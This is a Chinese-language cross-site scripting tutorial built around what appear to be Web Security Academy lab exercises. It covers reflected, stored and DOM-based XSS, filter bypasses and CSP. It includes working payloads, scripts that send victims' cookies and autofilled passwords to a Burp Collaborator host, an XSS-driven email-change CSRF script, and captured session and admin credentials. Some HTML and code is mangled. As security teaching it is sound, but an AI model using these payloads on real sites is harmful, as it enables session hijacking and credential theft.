恶意攻击者往Web页面插入恶意类html代码(js等各种脚本),当用户浏览该页面时,插入的代码被执行,从而达到恶意用户的特殊目的。
对尖括号<> 单引号 ’ 双引号 “” 特殊js危险函数的过滤,绕过方式后续
前后封闭,脚本完整,html能识别执行。
onclick onmouseover onload…后续。可结合使目标无意中访问恶意连接,触发脚本。详见后续
<script>alert(1)script>
script><script>alert(1)script>
><script>alert(1)script>
'><script>alert(1)script>
闭合前面脚本的方式,需要结合实际代码分析写出,此处需要长期积累。
这个跨站点脚本(XSS)小抄包含许多可以帮助绕过WAF和过滤器的载体。可以通过事件、标签或浏览器来选择载体,并且每个载体都包含概念验证。
Cross-site scripting (XSS) cheat sheet
all_events.xlsx
all_tags.xlsx
cheat-sheet.pdf
**XSS攻击的用处: **
冒充或伪装成受害用户。
执行用户能够执行的任何操作。
读取用户能够访问的任何数据。
捕获用户的登录凭据。
对网站进行信息污染。
将特洛伊木马功能注入网站。
Self-XSS与常规反射XSS具有类似的应用程序行为,但是它不能通过定制的URL或跨域请求以正常方式触发。相反只有:
当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的HTTP响应中时,就会出现存储的跨站点脚本(也称为二阶或永久XSS)
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
<p>This post was extremely helpful.p>
发现响应直接将请求中comment的值,已HTML方式进行响应,如在comment的值中改为XSS的payload,则所有访问该页面看到此留言的用户,均会收到XSS攻击影响。
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E&name=Carlos+Montoya&email=carlos%40normal-user.net
<p><script>/* Bad stuff here... */script>p>
一般需要公网能访问到的攻击服务器,用户接受store XSS返回的信息。本文中使用Burp提供的Burp Collaborator Client
(1)使用偷取用户cookie
窃取Cookie是利用XSS的传统方式。大多数Web应用程序使用Cookie进行会话处理。您可以利用跨站点脚本漏洞将受害者的Cookie发送到您自己的域,然后手动将Cookie注入浏览器并模拟受害者。
使用限制如下
例题:
3.2 例 4
(2)捕获用户密码
许多用户都有自动填写密码的密码管理器。您可以通过创建密码输入、读取自动填充的密码并将其发送到您自己的域来利用这一点。这项技术避免了大多数与窃取Cookie相关的问题,甚至可以访问受害者重复使用相同密码的所有其他帐户
使用限制
例题:
3.2 例5
** (3) 利用XSS执行CSRF攻击**
合法用户可以在网站上做的任何事情,攻击者也可以使用XSS来做。
一些网站允许登录的用户更改他们的电子邮件地址,而无需重新输入密码。如果您发现了XSS漏洞,您可以让它触发此功能,将受害者的电子邮件地址更改为你控制的地址,然后触发密码重置以获得对该帐户的访问权限。
XSS与CSRF关系:
能达到同样的目标效果
当CSRF作为独立漏洞出现时,可以使用诸如反CSRF令牌之类的策略对其进行修补。但是,如果还存在XSS漏洞,这些策略不会提供任何保护。
例题:
3.2 例6
在测试反射和存储的XSS时,一项关键任务是识别XSS上下文
当应用程序在HTTP请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会发生
应用程序响应中反映的数据的位置决定了攻击它需要哪种类型的有效负载,并且可能还会影响漏洞的影响。
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/script>
<p>Status: <script>/* Bad stuff here... */script>p>
需要引入新的HTML标签来触发js
<script>alert(document.domain)script>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<xss id=a tabindex=1 onfocus=alert(2)>#a //自定义标签
<svg><animatetransform onbegin=alert(1)>
例题
3.1 例1、2、3、4
3.2 例1
方法一:需要终止属性值、结束原标签。并引入一个新的标签。
"><script>alert(document.domain)script>
方法二:更常见的情况是尖括号被阻止或编码,因此不能从出现它的标签中分离出来。可以考虑终止属性值,引入一个创建可编写脚本的上下文的新属性,如事件处理程序
" autofocus οnfοcus=alert(document.domain) x="
方法三:方法二的变种,部分属性如href,本身可以执行js代码,不用闭合终止该属性,可直接使用伪协议插入js荷载
<a href="javascript:alert(document.domain)">
例题
3.1 例5、6
3.2 例2
当XSS注入位置是响应中的一些现有JavaScript时,可能会出现各种各样的情况,需要使用不同的技术才能成功利用漏洞。
方法一:闭合原HTML中
script><img src=1 onerror=alert(document.domain)>
<script>
...
var input = 'controllable data here';
...
script>
<script>
...
var input = 'script><img src=1 onerror=alert(document.domain)>';
...
script>
原理解析:浏览器首先执行HTML解析以识别包括脚本块在内的页面元素,然后才执行JavaScript解析以理解和执行嵌入的脚本。上述有效负载使原始脚本中断,并带有未终止的字符串文字。但这并不能阻止后续脚本以正常方式被解析和执行。
方法二:闭合中断js的代码中的字符串,直接注入paylload(方法一中,<>等符号被转码,无法闭合
'-alert(documen.cookie)-'
';alert(document.cookie)//'
\';alert(document.domain)// //程序自动转义添加反斜杠,尝试主动属于一个反斜杠,是否可以转义掉反斜杠
οnerrοr=alert;throw 1 //如圆括号()被限制使用,考虑使用此种方式。将alert()函数分配给全局异常处理程序,Throw语句将1传递给异常处理程序(在本例中为alert)。最终结果是以1作为参数调用alert()函数。
原理解析:在XSS上下文位于带引号的字符串文字内的情况下,通常可以中断字符串并直接执行JavaScript。必须按照XSS上下文修复脚本,因为那里的任何语法错误都将阻止整个脚本执行。
方法三: 尝试利用HTML-encoding编码特殊字符
'-alert(document.domain)-'
原理解析:当XSS注入点是带引号的标记属性(如事件处理程序)中的一些现有JavaScript时,可以利用HTML编码来绕过一些输入过滤器。当浏览器解析出响应中的HTML标记和属性时,它将在进一步处理标记属性值之前执行标记属性值的HTML解码。如果服务器端应用程序阻止或清理成功利用XSS所需的某些字符,您通常可以通过对这些字符进行HTML编码来绕过输入验证。
&apos;序列是一个表示撇号或单引号的HTML实体。由于浏览器在解释JavaScript之前对onClick属性的值进行了HTML解码,因此实体被解码为引号,成为字符串分隔符,因此攻击成功。
例题
3.1 例7、8、9、10
3.2 例3
模板文字是允许嵌入的js表达式的字符串文字。嵌入的表达式,通常连接到周围的文本中。使用${…}语法标识。
不用考虑闭合等方式,直接将payload 放到${payload}中即可
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
例题:
3.1 例11
文档对象模型(DOM)是Web浏览器对页面上的元素的分层表示。网站可以使用JavaScript来操作DOM的节点和对象,以及它们的属性。DOM操作本身并不是问题。
当网站包含接受攻击者可控制的值(称为源:source
)并将其传递到可执行代码的危险函数(称为接收器:sink
)中时,就会出现基于DOM的漏洞。
SOURCE
和 SINK
// 变量search就是数据源(SOURCE)。该变量函数值未过滤,攻击者可直接控制输入payload。
var search = document.getElementById('search').value;
var results = document.getElementById('results');
//函数innerHTML为接收器(SINK),该函数可执行代码
results.innerHTML = 'You searched for: ' + search;
// 综上通过变量search输入payload,在innerHTML函数处执行该payload。
// 这就是一个标准的DOM型XSS漏洞。source->sink
如果攻击者可以控制输入字段的值,他们就可以很容易地构造一个恶意值,从而导致他们自己的脚本执行: `You searched for: `
许多基于DOM的漏洞可以追溯到客户端代码处理数据(攻击者可控制数据)方式的问题。
什么是SOURCE
源(SOURCE)是一种接受可能由攻击者控制的数据的JavaScript属性。源的一个例子是location.search属性,因为它从查询字符串中读取输入,这对攻击者来说相对容易控制。归根结底,**攻击者可以控制的任何属性都是潜在的来源。**这包括引用URL(由document.referrer字符串公开)、用户的Cookie(由document.cookie字符串公
开)和Web消息。
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
什么是SINK
接收器(SINK)一种潜在的危险的JavaScript函数或DOM对象,**如果将攻击者控制的数据传递给接收器,可能会导致不良影响。**例如,eval()函数是一个接收器,因为它处理作为JavaScript传递给它的参数。例如,document.body.innerHTML就是一种HTML接收器,因为它可能允许攻击者注入恶意的HTML并执行任意的JavaScript。
// 原始js方法
document.write()
document.writeln()
document.domain
document.location
document.cookie
document.evaluate()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
element.src
element.setAttribute()
JSON.parse()
RegExp()
eaval()
WebSocket()
postMessage()
setRequestHeader()
FileReader.readAsText()
ExecuteSql()
sessionStorage.setItem()
// jQuery方法
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
一些基于DOM的漏洞通常包含在单个页面中。如果脚本从URL读取一些数据并将其写入危险的接收器,则该漏洞完全是客户端漏洞。
另一些来源并不局限于浏览器直接暴露的数据–它们也可以来自网站。例如,网站通常会在来自服务器的HTML响应中反映URL参数。这通常是XSS漏洞,但也可能是所谓的反射+DOM漏洞。
在反射的+DOM漏洞中,服务器处理来自请求的数据,并将数据回显到响应中。反射的数据可以放在一个JavaScript字符串文字中,或者放在DOM中的一个数据项中,如表单域。然后,页面上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。
eval('var data = "reflected string"');
网站还可以**将数据存储在服务器上,并将其反映到其他地方。在存储+DOM漏洞中,**服务器从一个请求接收数据,将其存储,然后将数据包括在稍后的响应中。后一个响应中的脚本包含一个接收器,该接收器随后以不安全的方式处理数据。
例题
3,3 例4、5
将Web消息用作来源,如果页面以不安全的方式处理传入的Web消息,例如,没有在事件侦听器中正确验证传入消息的来源,则事件侦听器调用的属性和函数可能会成为接收器。
该漏洞的潜在影响取决于目标文档对传入消息的处理。
<script>
window.addEventListener('message', function(e) {
eval(e.data);
});
script>
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')">
由于事件侦听器不验证消息的来源,并且postMessage()方法指定了Target Origin“*”,因此事件侦听器接受有效负载并将其传递到接收器中
例题
3.3例6、7、8
** **一般情况下为URL后 “#” 及其后面一部分组成,如http://www.test.com/#/something,
其中http://www.test.com为真实的路径,而#/something则为网页中的位置,称之为锚点
读取锚点:
**location.hash; //输出 #/something**
还可以设置新锚点
** location.hash = '#/test1' // **[http://www.test.com/#/](http://www.test.com/#/something)test1
由于网站将此选择器与Location.hash源一起用于动画或自动滚动到页面上的特定元素而导致漏洞。此行为通常是使用易受攻击的hashchange事件处理程序实现的。
$(window).on('hashchange', function() {
var element = $(location.hash);
element[0].scrollIntoView();
});
由于hash是用户可控制的输入(SOURCE),攻击者可以将XSS向量注入$()接收器(SINK)。较新版本的jQuery已修补了此特定漏洞,方法是防止您在输入以hash字符(#)开始时将HTML注入选择器。
漏洞利用:
要真正利用这个经典漏洞,您需要找到一种在没有用户交互的情况下触发hashchange事件的方法。要做到这一点,最简单的方法之一是通过IFRAME传递您的漏洞:
<iframe src="https://vulnerable-website.com#" onload="this.src+=''">
例题
3.3例 10
AngularJS是一个流行的JavaScript库,它包含`ng-app属性`(也称为AngularJS指令)的HTML节点的内容。
AngularJS将在双花括号内
执行JavaScript,该双花括号可以直接出现在HTML或属性中。 利用此种特性,尝试DOM XSS攻击
例题
3.2例11
例题
3.3例1、2、3、9
CSP是一种浏览器安全机制,旨在缓解XSS和其他一些攻击。它的工作方式是限制页面可以加载的资源(如脚本和图像),并限制页面是否可以由其他页面构成框架。
要启用CSP,响应需要包括名为Content-Security-Policy的HTTP响应头以及包含该策略的值。策略本身由一个或多个用分号分隔的指令组成。
script-src 'self'
指令将仅允许从与页面本身相同的来源加载脚本
script-src https://scripts.normal-website.com
指令将仅允许从特定域加载脚本
CSP指令可以指定一个随机数(随机值),并且必须在加载脚本的标记中使用相同的值。如果值不匹配,则脚本将不会执行。要有效地作为控件,必须在每次加载页面时安全地生成随机数,并且攻击者不能猜到它。
CSP指令可以指定受信任脚本内容的哈希。如果实际脚本的哈希与指令中指定的值不匹配,则不会执行该脚本。如果脚本的内容发生变化,那么您当然需要更新指令中指定的散列值。
(1) 许多CSP确实允许图像请求。例如,这意味着您经常可以使用img元素向外部服务器发出请求,以泄露CSRF令牌。
(2) 可尝试注入一个HTML元素,当单击该元素时,它将存储被注入的元素包围的所有内容并将其发送到外部服务器。
例题
3.3例 12、13
首页有搜索功能,原始正常搜索代码如下。尝试在搜索框中直接输入XSS
<section class=blog-header>
<h1>0 search results for 'USER INPUT'h1>
<hr>
section>
// 在USER INPUT 输入恶意语句(页面搜索框) <script>alert(1)script>
<section class=blog-header>
<h1>0 search results for '<script>alert(1)script>'h1>
<hr>
section>
// 程序没有过滤、完整显示恶意语句。 产生弹窗。
在搜索框中,尝试输入 发现返回提示"Tag is not allowed"证明有过滤。
由于是resize,需要xss后,改变窗口大小。可自行验证,为了实现攻击,构造下列payload发给目标,让其点击即可实现攻击。
改题与上题思路一致,html标签均被过滤,仅有自定义标签未被过滤(custom tag)
构造XSS测试
<xss id=a tabindex=1 onfocus=alert(2)>#a
// id和#后的值可随意变换 xss标签可随意定制
构造恶意连接
<script>
location='https://ac8a1f121fe0869ac0b53dbb00770006.web-security-academy.net/?search=#x' ;
script>
该注入创建一个ID为x的定制标记,该标记包含一个触发警报函数的onFocus事件处理程序。URL末尾的散列在页面加载后立即集中在此元素上,从而导致调用警报有效负载。
步骤同前,经过爆破发现如下可用标签
> title svg image animatetransform
遇到svg 考虑使用如下组合暴力破解,onbegin可用
> <svg>
得到可用payload
> <svg><animatetransform onbegin=alert(1)>
尝试搜索框,发现<>被编码为<>
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search value="<>heason">
<button type=submit class=button>Searchbutton>
form>
section>
尝试方法二闭合value,引入新属性
" autofocus οnfοcus=alert(document.domain) x="
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search value="" autofocus onfocus=alert(document.cookie) x="">
<button type=submit class=button>Searchbutton>
form>
section>
完美闭合,alert成功!!!
类chrome浏览器支持快捷键属性accesskey,设置此快捷键激活你自己的xss
https://foo.net/?'accesskey='x'οnclick='alert(23)
注入后,在浏览器中使用快捷键产生alert
在页面搜索框中发现js代码,考虑使用XSS插入在js代码中
<script>
var searchTerms = 'hahaha';
document.write('+encodeURIComponent(searchTerms)+'">');
script>
使用方法一:闭合原
<script>
var searchTerms = 'script><script>alert(1)script>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
script>
查看代码与例题7一样,尝试方法一注入,发现<>被编码,无法使用
<script>
var searchTerms = '</script><script>alert(1)</script>';
document.write('+encodeURIComponent(searchTerms)+'">');
script>
使用方法二:中断字符串并直接执行JavaScript
‘-alert(1)-’
'-alert(2)// 均可
<script>
var searchTerms = ''-alert(1)//'';
document.write('+encodeURIComponent(searchTerms)+'">');
script>
与例题8完全相同,不在赘述,仅是程序自动在单引号前增加反斜杠转义符号
<script>
var searchTerms = '\'-alert(1)//';
document.write('+encodeURIComponent(searchTerms)+'">');
script>
尝试增加反斜杠 '-alert(1)//
<script>
var searchTerms = '\\'-alert(1)//';
document.write('+encodeURIComponent(searchTerms)+'">');
script>
此题暂略…
首先测试注入点
<script>
var message = `0 search results for 'heason'`; //注意此处``反引号,可执行代码
document.getElementById('searchMessage').innerText = message;
script>
测试过滤,uncode编码,特殊符号已过滤,不可用
<script>
var message = `0 search results for '\u003c\u003e\u0027\u005c\u0022'`;
document.getElementById('searchMessage').innerText = message;
script>
至此考虑**${payload}模板文字xss注入**
<script>
var message = `0 search results for '${alert(document.cookie)}'`;
document.getElementById('searchMessage').innerText = message;
script>
页面文章有留言功能,原始正常留言代码如下:
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="https://EXAMPLE.com">USER NAMEa> | 03 May 2022
p>
<p>USER COMMENT INPUTp>
<p>p>
section>
直接尝试留言部分输入完整恶意脚本。已留言形式存入后台数据,形成存储型XSS,查看此页面用户均被弹窗
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="https://EXAMPLE.com">USER NAMEa> | 03 May 2022
p>
<p><script>alert(1)script>p> //此处未过滤,直接插入攻击者的恶意代码,形成存储型XSS。
<p>p>
section>
在评论区留言测试,发现个人网站出会新增href标签,并将用户输入作为href属性值。
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="https://EXAMPLE.com">heasona> | 04 May 2022 //用户输入的个人网址
p>
<p>comment1p>
<p>p>
section>
href可结合伪协议,直接执行JS
" οnclick=alert(11) x=" (题目名称双引号被过滤,实际测试未过滤,导致该xss也可以)
或者 javascript:alert(document.cookie) 均可行
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="javascript:alert(document.cookie)">heasona> | 04 May 2022
p>
<p>comment2p>
<p>p>
section>
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="" onclick=alert(11) x="">heason3a> | 04 May 2022
p>
<p>comment3p>
<p>p>
section>
依据题目描述,测试 '<>" 是如何被处理的
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="https://foo?\\\'<>"" onclick="var tracker={track(){}};tracker.track('https://foo?\\\'<>"');">heason1a> | 05 May 2022
p>
// '\被反斜杠注释掉
// <>"被HTML-encode编码
遇到的问题是,使用事件onclick注入xss,需要按照方法二的思路:闭合中断js的代码中的字符串,直接注入paylload,但’被转义无法闭合。此处考虑使用方法三绕过过滤,使用’ 的html-encode编码’,通过过滤输入,尝试程序输出js时,再次解析’ 的html-encode编码时,进行decode,回复成’
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="https://foo.com?'-alert(1)-'" onclick="var tracker={track(){}};tracker.track('https://foo.com?'-alert(1)-'');">heason3a> | 05 May 2022
p>
<p>
靶场评论区代码分析,发现评论内容包含在
your comment
,如没有过滤等限制,考虑直接注入XSS payload <section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> Russell Up | 27 April 2022
p>
<p>I can't believe some of the ignorant comments people make.p>
<p>p>
section>
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="https://EXAMPLE.com">heason1a> | 05 May 2022
p>
<p><script>
location="https://www.baidu.com";
script>p>
<p>p>
section>
未限制,未过滤成功将xss响应,页面跳转到百度。标准的store xss漏洞
开始构造Payload构造,窃取访问该页面的用户cookie,并将窃取的信息发送到远程攻击服务器上(Burp Collaborator Client)
<script>
fetch('https://jqdo9ri31ivjymwl1b8l9r73juplda.burpcollaborator.net',{
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
script>
查看页面响应报文,无问题,成功将payload 插入到页面中,用户访问该页面,就会向我的攻击机发送齐cookie(4个限制因素未涉及)
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="https://EXAMPLE.com">heasona> | 05 May 2022
p>
<p><script>
fetch('https://jqdo9ri31ivjymwl1b8l9r73juplda.burpcollaborator.net',{
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
script>p>
<p>p>
section>
查看攻击机获取到登录用户信息
secret=5Ba3bh6NihwWLZDa0UT23SQhxeGnHwIG; session=F6y5DGhFiWR7zp0gwAVkpvk5ab42xtIY
刷新页面,使用Burp拦截数据包,将cookie替换为上述信息。成功登陆其用户
与上述思路完全一致,仅是构造payload不同
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://ki6p1sa4tjnkqnomtc0m1sz4bvhn5c.burpcollaborator.net',{
method: 'POST',
mode: 'no-cors',
body: username.value+':'+this.value
})">;
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> heason666 | 05 May 2022
p>
<p><input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://ki6p1sa4tjnkqnomtc0m1sz4bvhn5c.burpcollaborator.net',{
method: 'POST',
mode: 'no-cors',
body: username.value+':'+this.value
})">;p>
<p>p>
section>
获取用户信息
administrator:e1ek9bgyyudcdc8jfqq0
登陆还有什么好说的
自己注册账户登陆发现,无需修改地址可以修改邮箱地址。
账户地址:GET /my-account
修改邮箱请求:POST //my-account/change-email
但是有防csrf码保护,传统CSRF无法使用
发现comment模块与上述题目一致,存在存储型XSS漏洞。编制payload
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse(){
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'[email protected]');
};
script>
页面有搜索框,尝试随意搜索,发现代码如下
// sink:document.write
// source:location.search
<script>
function trackSearch(query) {
document.write('+query+'">');
} // 该函数直接显示query,可执行js代码,危险sink
var query = (new URLSearchParams(window.location.search)).get('search');// search 直接获取用户输入,危险source
if(query) {
trackSearch(query);
}
script>
直接在搜索框中构造恶意代码,发现无效,原因分析如下:
- query 可以直接获取恶意完整语句 例如
- 但是函数write,获取query合成如下语句:
<img src="/resources/images/tracker.gif?searchTerms='++'">
- 发现合成后明显错误,不是完整无错的脚本。考虑要闭合前面
合成如下语句:
<img src="..."> <svg onload=alert(1)> //成功弹窗
"><svg onload=alert(1)> 或 "><img src=1 onerror=alert(1)>
原理与上一题完全相同,仅是sink不同而已
源代码:
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;//可执行js的危险sink
}
var query = (new URLSearchParams(window.location.search)).get('search');//直接获取用户输入,未加过滤。危险source
if(query) {
doSearchQuery(query);
}
script>
构造恶意输入,看了源代码,都不用考虑闭合问题。
均可。
页面有反馈按钮,点击后查看源码发现
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
}); // 此页面URL为 https://...../feedback?returnPath=/
// href是直接获取了URL returnPath的传参,未过滤,危险source
//
script>
伪协议:javascript:js代码
https://…/feedback?returnPath=javascript:alert(document.cookie)
分析数据报发现,在搜索框中输入相关内容,会产生相关数据包
<script src='resources/js/searchResults.js'>script>
<script>search('search-results')script>
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 41
{"results":[],"searchTerm":"YOUR INPUT"}
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Cache-Control: public, max-age=3600
Connection: close
Content-Length: 2728
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
//eval可执行任意代码,且respinseText,就对应上面返回的json内容
displaySearchResults(searchResultsObj);
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
综上分析可知,若能控制search参数值,在响应JSON中能正确产生XSS payload,在search函数中的eval函数将执行,dom漏洞就产生了
需要闭合json双引号,独立执行alert(),合理闭合}。
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 43
{"results":[],"searchTerm":"\"-alert(1)//"}
发现双引号自动反斜杠转义。根据规律构造如下两种payload均能成功注入
\"}-alert(1)//
\"-alert(1)}//
分析数据报发现,留言功能区
<script src='resources/js/loadCommentsWithVulnerableEscapeHtml.js'>script>
<script>loadComments('/post/comment')script>
分析代码发现,escapeHTML 会转码 html.replace(‘<’, ‘<’).replace(‘>’, ‘>’);
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
经过过滤和响应为json
/post/comment?postId=5
发现单引号、双引号、反斜杠均会反斜杠转义。
{
"avatar":"",
"website":"https://EXAMPLE.com",
"date":"2022-05-07T07:58:11.418642185Z",
"body":"<>\\\\